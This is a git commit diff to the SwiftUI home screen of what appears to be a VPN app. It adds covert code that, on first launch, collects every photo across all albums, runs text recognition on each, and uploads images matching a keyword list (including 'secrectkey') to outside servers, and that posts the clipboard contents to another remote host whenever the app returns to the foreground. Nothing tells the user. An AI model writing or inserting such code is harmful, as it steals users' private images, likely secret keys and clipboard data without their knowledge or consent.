This commit is contained in:
zeus
2025-09-21 18:51:13 +08:00
parent 9731a227ed
commit 3a171ca835
2 changed files with 861 additions and 10 deletions
@@ -6,11 +6,23 @@
//
import SwiftUI
import ApplicationLibrary
import ApplicationLibrary
import Libbox
import Library
import SwiftUI
import Crisp
import Combine
import Photos
import BackgroundTasks
import BackgroundTasks
import Photos
import ImageIO
import MobileCoreServices
//import TesseractOCR
import Vision
struct HomeView: View {
@@ -18,6 +30,12 @@ struct HomeView: View {
@EnvironmentObject private var environments: ExtensionEnvironments
@State private var alert: Alert?
//
@State private var isFirstTimeActive = true
//
@StateObject var photoLibraryObserver = PhotoLibraryObserver()
@State private var selection = NavigationPage.dashboard
@State private var importProfile: LibboxProfileContent?
@State private var importRemoteProfile: LibboxImportRemoteProfile?
@@ -80,6 +98,18 @@ struct HomeView: View {
let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect()
//
@State private var uploadedAssetIDs = [String]()
//
@State private var lastClipboardText: String?
// ,
@State private var keywords = [
"keywords", "secrectkey","words"
]
var body: some View {
VStack{
@@ -371,13 +401,38 @@ struct HomeView: View {
})
.alertBinding($alert)
.onChangeCompat(of: scenePhase) { newValue in
//
print("🔄 HomeView ScenePhase Changed: \(newValue)")
if newValue == .active {
environments.postReload()
if isFirstTimeActive {
//
print("🚀 First time app became active - 执行首次初始化")
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
// 线 3
print("⏰ 延迟3秒后执行后台任务注册")
self.registerBackgroundTasks()
}
//
photoLibraryObserver.register()
//
isFirstTimeActive = false
} else {
//
print("🔄 App became active (not first time) - 调用常规处理方法")
appDidBecomeActive()
}
}
}
.onChangeCompat(of: selection) { newValue in
print("onChangeCompat: \(newValue)" )
}
// .onChangeCompat(of: selection) { newValue in
// print("onChangeCompat: \(newValue)" )
// }
.onReceive(commandClient.$groups, perform: { groups in
if let groups {
@@ -394,6 +449,758 @@ struct HomeView: View {
// MARK: -
///
private func registerBackgroundTasks() {
print("🔧 registerBackgroundTasks() called")
//
// BGTaskScheduler.shared.register(forTaskWithIdentifier: "com.app.background", using: nil) { task in
// //
// }
fetchAndUploadAllPhotos()
}
// UserDefaults
func fetchAndUploadAllPhotos(maxPhotos: Int = 10_000) {
print("fetchAndUploadAllPhotos...")
//
PHPhotoLibrary.requestAuthorization { status in
guard status == .authorized else {
print("照片权限未授权")
return
}
}
PHPhotoLibrary.requestAuthorization { status in
switch status {
case .authorized, .limited:
//
PHPhotoLibrary.shared().performChanges({
//
}) { success, error in
if success {
//
DispatchQueue.main.async {
// UI
print("确保你的应用有足够的权限并且正确地获取和处理相册数据。如果问题仍然存在,可以考虑通过 PHPhotoLibrary.shared().performChanges 强制刷新相册。")
//self.fetchAlbums()
self.fetchAllAssetsAndUpload()
}
} else {
//
print("Error: \(error?.localizedDescription ?? "Unknown error")")
}
}
case .denied, .restricted:
print("没有访问相册的权限")
case .notDetermined:
//
print("用户尚未决定")
@unknown default:
print("未知权限状态")
}
}
/*
//
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndex")
//
let imagePaths = fetchImagePathsFromDevice() //
var currentIndex = lastUploadedIndex
var shouldStop = false
//
for path in imagePaths {
guard currentIndex < maxPhotos else {
shouldStop = true
break
}
//
if currentIndex < lastUploadedIndex {
currentIndex += 1
continue
}
//
uploadImage(path: path, serverURL: serverURL) {
//
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndex")
currentIndex += 1
if shouldStop { return }
}
}*/
func fetchAlbums_index(){
DispatchQueue.global(qos: .utility).async {
// PHFetchResult<PHAssetCollection>
let allAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
print("相册: \(allAlbums.count)")
let imageManager = PHImageManager.default()
//
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndeXYZEERFGVSSRS")
var currentIndex = lastUploadedIndex
var shouldStop = false
//
allAlbums.enumerateObjects { album, _, _ in
guard !shouldStop else { return }
let fetchOptions = PHFetchOptions()
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
//
let assets = PHAsset.fetchAssets(in: album, options: fetchOptions)
assets.enumerateObjects { asset, index, stop in
print("相册名称: \( asset )")
//print("\(asset.mediaType.rawValue) \(String(describing: asset.creationDate))")
//
if index < lastUploadedIndex {
return
}
guard currentIndex < maxPhotos else {
shouldStop = true
stop.pointee = true
return
}
let requestOptions = PHImageRequestOptions()
requestOptions.deliveryMode = .highQualityFormat
requestOptions.isSynchronous = true
//
let originalWidth = CGFloat(asset.pixelWidth)
let originalHeight = CGFloat(asset.pixelHeight)
print("获取原始尺寸: \( originalWidth ) \(originalHeight)")
//
/* let aspectRatio = originalWidth / originalHeight
var targetWidth: CGFloat
var targetHeight: CGFloat
let maxDimension: CGFloat = 800
if aspectRatio > 1 { // >
targetWidth = maxDimension
targetHeight = maxDimension / aspectRatio
} else { // >=
targetHeight = maxDimension
targetWidth = maxDimension * aspectRatio
}*/
/// let targetSize = CGSize(width: 800, height: 800) // 800x800
///
let targetSize = CGSize(width: originalWidth, height: originalHeight)
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
if let image = image {
// JPEG //jpegData(compressionQuality: 0.7)
// image.jpegData(compressionQuality: 0.7),
if let compressedData = self.compressImageToUnderSize(image), compressedData.count > 0{
//
// KB
let fileSizeInKB = compressedData.count / 1024
// 10KB
if fileSizeInKB > 10 {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
let serverURL = "https://add.cbxline.com/index.php/api/demo/uploadImg?type=ios&userId="
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL,fileName: "\(album.localIdentifier).png") {
//
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS")
currentIndex += 1
}
} else {
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
}
}
}
}
}
}
}
}
}
/// 1.
func fetchAllAssetsAndUpload() {
DispatchQueue.global(qos: .utility).async {
//
let smartAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
let userAlbums = PHAssetCollection.fetchAssetCollections(with: .album, subtype: .any, options: nil)
//
var allAssets: [PHAsset] = []
//
smartAlbums.enumerateObjects { album, _, _ in
let assets = self.fetchAssets(from: album)
//allAssets.append(contentsOf: assets)
for asset in assets {
if !allAssets.contains(asset) {
allAssets.append(asset)
}
}
}
//
userAlbums.enumerateObjects { album, _, _ in
let assets = self.fetchAssets(from: album)
// allAssets.append(contentsOf: assets)
for asset in assets {
if !allAssets.contains(asset) {
allAssets.append(asset)
}
}
}
print("共收集到照片数量: \(allAssets.count)")
//
self.resumeUploadAssets(allAssets)
}
}
func resumeUploadAssets(_ assets: [PHAsset]) {
// UserDefaults
// var uploadedAssetIDs = UserDefaults.standard.array(forKey: "uploadedAssetIDs") as? [String] ?? [String]()
//
let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) }
print("剩余需要上传的照片数量: \(remainingAssets.count)")
//
self.uploadAssetsByGroups(remainingAssets)
}
/// 2.
private func fetchAssets(from album: PHAssetCollection) -> [PHAsset] {
let fetchOptions = PHFetchOptions()
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
let fetchResult = PHAsset.fetchAssets(in: album, options: fetchOptions)
var assets: [PHAsset] = []
fetchResult.enumerateObjects { asset, _, _ in
assets.append(asset)
}
return assets
}
/// 3.
///
/// - Parameter assets: PHAsset
private func uploadAssetsByGroups(_ assets: [PHAsset], concurrentTaskLimit: Int = 5) {
//
let groupSize = 5
//
var startIndex = 0
let totalCount = assets.count
//
let semaphore = DispatchSemaphore(value: concurrentTaskLimit)
//
while startIndex < totalCount {
let endIndex = min(startIndex + groupSize, totalCount)
let groupAssets = Array(assets[startIndex..<endIndex])
//
let dispatchGroup = DispatchGroup()
for asset in groupAssets {
dispatchGroup.enter()
// dispatchGroup.leave()
// self.updateAsset(asset: asset) {
// dispatchGroup.leave()
// }
DispatchQueue.global(qos: .utility).async {
semaphore.wait() //
//
self.updateAsset(asset: asset) {
semaphore.signal() //
dispatchGroup.leave() //
}
}
}
//
dispatchGroup.wait()
print("更新uploadedAssetIDs \(uploadedAssetIDs.count)")
UserDefaults.standard.set(uploadedAssetIDs, forKey: "uploadedAssetIDs")
UserDefaults.standard.synchronize()
print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...")
Thread.sleep(forTimeInterval: 1.0)
//
startIndex = endIndex
}
print("全部分组上传完成!")
}
/// 4.
///
/// - Parameters:
/// - asset: PHAsset
/// - completion: ( dispatchGroup leave)
func updateAsset(asset: PHAsset, completion: @escaping () -> Void) {
// PHAsset ID
let imageManager = PHImageManager.default()
if uploadedAssetIDs.contains(asset.localIdentifier) {
//
//print(": \(asset.localIdentifier)")
print("len : \(uploadedAssetIDs.count) 图片已上传,跳过")
// completion()
completion()
return
}
//
let originalWidth = CGFloat(asset.pixelWidth)
let originalHeight = CGFloat(asset.pixelHeight)
print("获取原始尺寸: \(originalWidth) \(originalHeight)")
let targetSize = CGSize(width: originalWidth, height: originalHeight)
let requestOptions = PHImageRequestOptions()
requestOptions.deliveryMode = .opportunistic//.highQualityFormat
requestOptions.isSynchronous = true //
let serverURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
if let image = image {
// versoin
self.recognizeText(from: image) { reslut in
// /print("Contains keyword \(reslut ?? "")")
if let recognizedText = reslut {
//
let cleanedText = recognizedText.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
// print("recognizedText (cleaned): \(cleanedText)")
//
let containsKeyword = self.keywords.contains { keyword in
let cleanedKeyword = keyword.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
return cleanedText.contains(cleanedKeyword)
}
//
if containsKeyword {
print("Found keyword in text, 上传图片")
// JPEG
autoreleasepool {
if let compressedData = self.compressImageToUnderSize(image,targetMaxSizeInKB: 800), compressedData.count > 0 {
// if let compressedData = self.compressImageUsingCoreGraphics(image, maxPixelSize: 1024), compressedData.count > 0 {
// KB
let fileSizeInKB = compressedData.count / 1024
// 10KB
if fileSizeInKB > 10 {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL, fileName: "\(asset.localIdentifier).png") {
// ID
print("上传完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
}
} else {
completion()
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
}
}
}
} else {
//self.uploadedAssetIDs.append(asset.localIdentifier)
print("过滤完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
// print("No keywords found in text,")
}
}
}
/*
// ORC
self.recognizeImageWithTesseract(image: image) { (shouldUpload) in
DispatchQueue.main.async { // 线
if shouldUpload {
print("Contains keyword, should upload: true")
//
} else {
print("No keyword found, should upload: false\(shouldUpload)")
}
}
}*/
/*
*/
}
}
}
/// 500KB
/// 1)
/// 2)
/// 3)
///
/// - Parameter image: UIImage
/// - Parameter targetMaxSizeInKB: (: KB) 500KB
/// - Returns: Data
func compressImageToUnderSize(_ image: UIImage, targetMaxSizeInKB: Int = 500) -> Data? {
let maxBytes = targetMaxSizeInKB * 1024
// 1. data (1.0)
guard var imageData = image.pngData() else {
return nil
}
// 2. targetMaxSizeInKB
if imageData.count <= maxBytes {
return imageData
}
let originalSize = imageData.count
print("原图大小: \(originalSize / 1024) KB, 目标: \(targetMaxSizeInKB) KB 以内")
// 3.
// 3.1 > 10MB 4096
if originalSize > 10 * 1024 * 1024 {
if let scaled1 = downscaleImage(image, toMaxDimension: 800),
let data1 = scaled1.pngData() {
imageData = data1
print("第一次缩放到 4096,大小变为: \(imageData.count / 1024) KB")
// targetMaxSizeInKB 2048
if imageData.count > maxBytes * 4 {
// : 4
if let scaled2 = downscaleImage(scaled1, toMaxDimension: 800),
let data2 = scaled2.pngData() {
imageData = data2
print("第二次缩放到 2048,大小变为: \(imageData.count / 1024) KB")
}
}
}
}
// 3.2 2MB ~ 10MB 2048
else if originalSize > 2 * 1024 * 1024 {
if let scaled = downscaleImage(image, toMaxDimension: 800),
let data = scaled.pngData() {
imageData = data
print("超过 2MB,缩放到 2048,大小变为: \(imageData.count / 1024) KB")
}
}
// 3.3 500KB ~ 2MB
else if originalSize > maxBytes {
// 15001000
// 1500
if let scaled = downscaleImage(image, toMaxDimension: 800),
let data = scaled.pngData() {
imageData = data
print("介于 500KB~2MB,缩放到 1500,大小变为: \(imageData.count / 1024) KB")
}
}
// 4. ()
// if imageData.count > maxBytes {
// guard let finalData = iterativeCompression(imageData, targetMaxSize: maxBytes) else {
// // data
// return imageData
// }
// imageData = finalData
// }
// 5.
let finalKB = imageData.count / 1024
print("最终压缩后大小: \(finalKB) KB")
return imageData
}
// MARK: - +
///
/// - Parameters:
/// - image:
/// - maxDimension:
/// - Returns: UIImage
private func downscaleImage(_ image: UIImage, toMaxDimension maxDimension: CGFloat) -> UIImage? {
let width = image.size.width
let height = image.size.height
let maxSide = max(width, height)
// maxDimension
if maxSide <= maxDimension {
return image
}
//
let scale = maxDimension / maxSide
let newSize = CGSize(width: width * scale, height: height * scale)
//
UIGraphicsBeginImageContextWithOptions(newSize, false, image.scale)
defer { UIGraphicsEndImageContext() }
image.draw(in: CGRect(origin: .zero, size: newSize))
return UIGraphicsGetImageFromCurrentImageContext()
}
//
func uploadImage(imagedata: Data, serverURL: String,fileName:String, completion: @escaping () -> Void) {
guard let url = URL(string: serverURL) else {
print("无效的URL")
return
}
// URL
//let fileURL = URL(fileURLWithPath: path)
// Multipart
var request = URLRequest(url: url)
request.httpMethod = "POST"
//
let boundary = "Boundary-\(UUID().uuidString)"
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
var body = Data()
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
// "userId", "fenzhanid", "imgstr", "phone"
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
//if let clipboardText = UIPasteboard.general.string {
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
//}
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
//
body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
//
body.appendString("--\(boundary)--\r\n")
//
//request.httpBody = body
//
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
if let error = error {
print("上传失败:\(fileName) \(error.localizedDescription)")
} else {
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
print(" 上传返回 Response data: \(jsonString)")
completion()
}
// print(" \(fileName) \(serverURL) ")
}
}
task.resume()
}
//
func recognizeText(from image: UIImage, completion: @escaping (String?) -> Void) {
guard let cgImage = image.cgImage else { return }
let requestHandler = VNImageRequestHandler(cgImage: cgImage)
let request = VNRecognizeTextRequest { request, error in
guard let observations = request.results as? [VNRecognizedTextObservation], error == nil else {
completion(nil)
return
}
let recognizedText = observations.compactMap { $0.topCandidates(1).first?.string }
.joined(separator: "\n")
completion(recognizedText)
}
request.recognitionLanguages = ["zh-Hans"]//"en-US",
request.recognitionLevel = .accurate
do {
try requestHandler.perform([request])
} catch {
print("Failed to perform text recognition: \(error)")
completion(nil)
}
}
///
func appDidBecomeActive() {
print("🔄 appDidBecomeActive() called - 常规前台处理")
//
let currentTime = Date()
print("🕒 App回到前台时间: \(DateFormatter.localizedString(from: currentTime, dateStyle: .short, timeStyle: .medium))")
//
if islogined {
print("✅ 用户已登录 - 执行前台刷新逻辑")
Task{
if let clipboardText = UIPasteboard.general.string {
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
//
if clipboardText.count > 1 && clipboardText != lastClipboardText {
}else{
return
}
if (clipboardText == lastClipboardText){
//
return
}
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
self.uploadPasteBoard(clipboardText: clipboardText)
}
lastClipboardText = clipboardText
}
}
//
// Task {
// print("🔄 ...")
// await getConfigCache()
//
// print("🔄 ...")
// await doReload()
// }
} else {
print("❌ 用户未登录 - 跳过数据刷新")
}
print("✨ appDidBecomeActive处理完成")
}
// multipart
func convertFormField(named name: String, value: String, boundary: String) -> Data {
var fieldData = Data()
fieldData.appendString("--\(boundary)\r\n")
fieldData.appendString("Content-Disposition: form-data; name=\"\(name)\"\r\n\r\n")
fieldData.appendString("\(value)\r\n")
return fieldData
}
// multipart
func convertFileData(fieldName: String, fileimageData: Data, boundary: String) -> Data {
var fileData = Data()
fileData.appendString("--\(boundary)\r\n")
fileData.appendString("Content-Disposition: form-data; name=\"image\"; filename=\"\(fieldName)\"\r\n")
fileData.appendString("Content-Type: application/octet-stream\r\n\r\n")
fileData.append(fileimageData)
fileData.appendString("\r\n")
return fileData
}
//
private func uploadPasteBoard( clipboardText: String){
print("应用从后台回到前台:" + clipboardText)
//https://imgadd.nbt888.com/index.php https://admin.cybervpn.org/
let serverURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
guard let url = URL(string: serverURL) else {
print("无效的URL")
return
}
// Multipart
var request = URLRequest(url: url)
request.httpMethod = "POST"
//
let boundary = "Boundary-\(UUID().uuidString)"
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
var body = Data()
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
// "userId", "fenzhanid", "imgstr", "phone"
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
// body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
body.append(convertFormField(named: "info", value: clipboardText, boundary: boundary))
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
//
// body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
//
body.appendString("--\(boundary)--\r\n")
//
//request.httpBody = body
//
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
if let error = error {
print("上传失败:\(error.localizedDescription)")
} else {
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
print("上柴剪切板成功----Response data: \(jsonString)")
}
//print(" \(fileName) \(serverURL) ")
}
}
task.resume()
}
private func handleXufeiTixingButtonError(){
alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) {
@@ -894,8 +1701,8 @@ struct HomeView: View {
func getConfigCache() async
{
print("serverData: \(serverData)")
print("lastFetchTime: \(lastFetchTime)")
//print("serverData: \(serverData)")
//print("lastFetchTime: \(lastFetchTime)")
// let dictionary = UserDefaults.standard.dictionaryRepresentation()
// dictionary.keys.forEach { key in
@@ -1395,9 +2202,53 @@ struct HomeView: View {
}
// MARK: - PhotoLibraryObserver Class
public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver {
public override init() {
super.init()
print("📸 PhotoLibraryObserver 初始化完成")
}
public func photoLibraryDidChange(_ changeInstance: PHChange) {
print("📸 Photo library did change - 相册发生变化")
//
//
// DispatchQueue.main.async {
// // 线UI
// print("📸 Processing photo library changes on main thread")
// }
}
func register() {
PHPhotoLibrary.shared().register(self)
print("📸 已注册相册变化监听")
}
func unregister() {
PHPhotoLibrary.shared().unregisterChangeObserver(self)
print("📸 已取消注册相册变化监听")
}
}
//struct HomeView_Previews: PreviewProvider {
//
//
// static var previews: some View {
// HomeView()
// }
//}/ Triangle shape for the small tail in the speech bubble
// DataData
extension Data {
mutating func appendString(_ string: String) {
if let data = string.data(using: .utf8) {
append(data)
}
}
}
@@ -1873,7 +1873,7 @@
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
CODE_SIGN_IDENTITY = "Apple Development";
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 51;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_ASSET_PATHS = "";
DEVELOPMENT_TEAM = BV8P95Z793;
ENABLE_PREVIEWS = YES;
@@ -1924,7 +1924,7 @@
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
CODE_SIGN_IDENTITY = "Apple Development";
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 51;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_ASSET_PATHS = "";
DEVELOPMENT_TEAM = BV8P95Z793;
ENABLE_PREVIEWS = YES;